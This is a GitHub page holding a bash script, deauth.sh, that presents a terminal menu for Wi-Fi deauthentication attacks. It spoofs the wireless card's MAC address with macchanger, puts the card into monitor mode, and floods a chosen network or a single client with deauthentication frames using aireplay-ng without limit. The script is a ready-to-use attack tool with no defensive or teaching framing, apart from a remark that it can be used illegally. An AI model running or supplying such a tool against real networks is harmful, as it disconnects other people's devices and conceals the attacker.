-
Notifications
You must be signed in to change notification settings - Fork 4
/
deauth.sh
292 lines (253 loc) · 5.33 KB
/
deauth.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#!/bin/bash
# made by EMLGaming and thanks for using it
# to run first type "chmod +x deauth.sh" and "chmod +x deauthall.sh" and then "./deauth.sh"
# then you are all good to go and this script is made for moose
# the script is not illegal but you can use it in a way that is illegal
printf "\e[?25l"
width=$(tput cols)
height=$(tput lines)
special=0
info=' '
menuSelection=0
quitting=0
tput clear
tput cup 0 0
function drawMenu(){
echo "Made my EMLGaming"
tput cup $((height/2-4)) $((width/2-10))
if [ $menuSelection -eq 0 ]
then
tput rev
fi
echo " DEAUTH ALL "
tput sgr0
tput cup $((height/2-2)) $((width/2-10))
if [ $menuSelection -eq 1 ]
then
tput rev
fi
echo " DEAUTH NETWORK "
tput sgr0
tput cup $((height/2)) $((width/2-10))
if [ $menuSelection -eq 2 ]
then
tput rev
fi
echo " DEAUTH TARGET "
tput sgr0
tput cup $((height/2+2)) $((width/2-10))
if [ $menuSelection -eq 3 ]
then
tput rev
fi
echo " "
tput sgr0
tput cup $((height/2+4)) $((width/2-10))
if [ $menuSelection -eq 4 ]
then
tput rev
fi
echo " QUIT "
tput sgr0
tput cup 0 0
}
function drawClear(){
tput cup 0 0
for (( i=0; i<$height; i++ ))
do
printf "%0.s " $(seq 1 $width)
done
}
function getInfo(){
tput rev
tput cup $((height/2-2)) 0
printf "%0.s " $(seq 1 $width)
tput cup $((height/2+2)) 0
printf "%0.s " $(seq 1 $width)
tput sgr0
tput cup $((height/2)) $((width/2-6))
printf ' '
tput cup $((height/2)) $((width/2-10))
printf 'ENTER TO CONTINUE'
tput cup $((height/2)) $((width/2-3))
read
clear
./deauthall.sh
drawClear
drawMenu
}
function update(){
if [ $menuSelection -eq -1 ]
then
echo " "
else
case $1 in
UP)
if [ $menuSelection -gt 0 ]
then
menuSelection=$((menuSelection-1))
else
menuSelection=4
fi ;;
DOWN)
if [ $menuSelection -lt 4 ]
then
menuSelection=$((menuSelection+1))
else
menuSelection=0
fi ;;
SELECT)
if [ $menuSelection -eq 0 ]
then
getInfo
echo "LETS GO AND DEAUTH ALL"
elif [ $menuSelection -eq 1 ]
then
echo -e "\e[36mlets deauth a network"
clear
iwconfig
echo -e "\e[31mtype your wireless card name:\e[36m"
read wire
ifconfig $wire down
macchanger -r $wire
ifconfig $wire up
clear
echo "it is now scanning networks so this takes a little bit"
sleep 5
iw dev $wire scan | egrep "SSID|primary channel"
echo -e "\e[31mtype the name of the network:\e[36m"
read name
echo -e "\e[31mand the channel:\e[36m"
read channel
airmon-ng start $wire
airmon-ng check kill
clear
ifconfig $wire"mon" down
iwconfig $wire"mon" channel $channel
ifconfig $wire"mon" up
echo "now you are deauthing the network if you want to stop just close the window"
xterm -e "aireplay-ng -0 0 -e '$name' $wire""mon; read"
exit
elif [ $menuSelection -eq 2 ]
then
echo "deauth target"
clear
echo -e "\e[36m "
iwconfig
echo -e "\e[31mtype your wireless card name:\e[36m"
read wire
ifconfig $wire down
macchanger -r $wire
ifconfig $wire up
clear
echo "it is now scanning networks so this takes a little bit"
sleep 5
iw dev $wire scan | egrep "SSID|primary channel"
echo -e "\e[31mtype the name of the network:\e[36m"
read name
echo -e "\e[31mand the channel:\e[36m"
read channel
airmon-ng start $wire
airmon-ng check kill
clear
gnome-terminal -x sh -c "airodump-ng --essid '$name' -c $channel $wire""mon"
echo -e "\e[31mWould you like to lookup a mac adress (1 or 2)"
PS3="Type 1 or 2"
options=("yes" "no")
select opt in "${options[@]}"
do
case $opt in
"yes")
echo ""
echo -e "type the first 6 characters of the station"
echo -e "don't type the ':' do only xxxxxx"
read oui
grep -i $oui /usr/share/nmap/nmap-mac-prefixes
;;
"no")
break
;;
*) echo invalid option;;
esac
done
echo -e "station of the target"
echo -e "but now make sure to type it like XX:00:XX:00:XX:00\e[36m"
read station
echo -e "when you are done just close the window"
xterm -e "aireplay-ng -0 0 -e '$name' -c '$station' $wire""mon; read"
exit
elif [ $menuSelection -eq 3 ]
then
drawClear
elif [ $menuSelection -eq 4 ]
then
exit
fi ;;
esac
if [ $menuSelection -ne -1 ]
then
drawMenu
fi
fi
}
function cleanup(){
echo -e "\e[0mCleaning"
printf "\e]0;Terminal\007"
airmon-ng stop $wire"mon"
ifconfig $wire up
reset
echo "thanks for using my script"
sleep 1
exit 255
}
drawMenu
trap cleanup INT EXIT
while :
do
read -rsn1 -d '' KEY
if [ `printf '%d' "'$KEY"` == 27 ]
then
special=1
elif [ `printf '%d' "'$KEY"` == 91 -a $special -eq 1 ]
then
special=2
elif [ $special -eq 1 ]
then
special=0
elif [ `printf '%d' "'$KEY"` == 0 ]
then
update SELECT
fi
if [ $special -eq 2 ]
then
case "$KEY" in
A) update UP ; special=0 ;;
B) update DOWN ; special=0 ;;
C) update RIGHT ; special=0 ;;
D) update LEFT ; special=0 ;;
esac
else
case "$KEY" in
q)
if [ $quitting -eq 0 ]
then
tput cup $((height/2)) $((width/2-15))
tput rev
printf " PRESS Q AGAIN TO QUIT "
tput sgr0
quitting=1
elif [ $quitting -eq 1 ]
then
exit
fi ;;
esac
if [ "$KEY" != "q" ]
then
if [ $quitting -eq 1 ]
then
drawClear
fi
quitting=0
fi
fi
done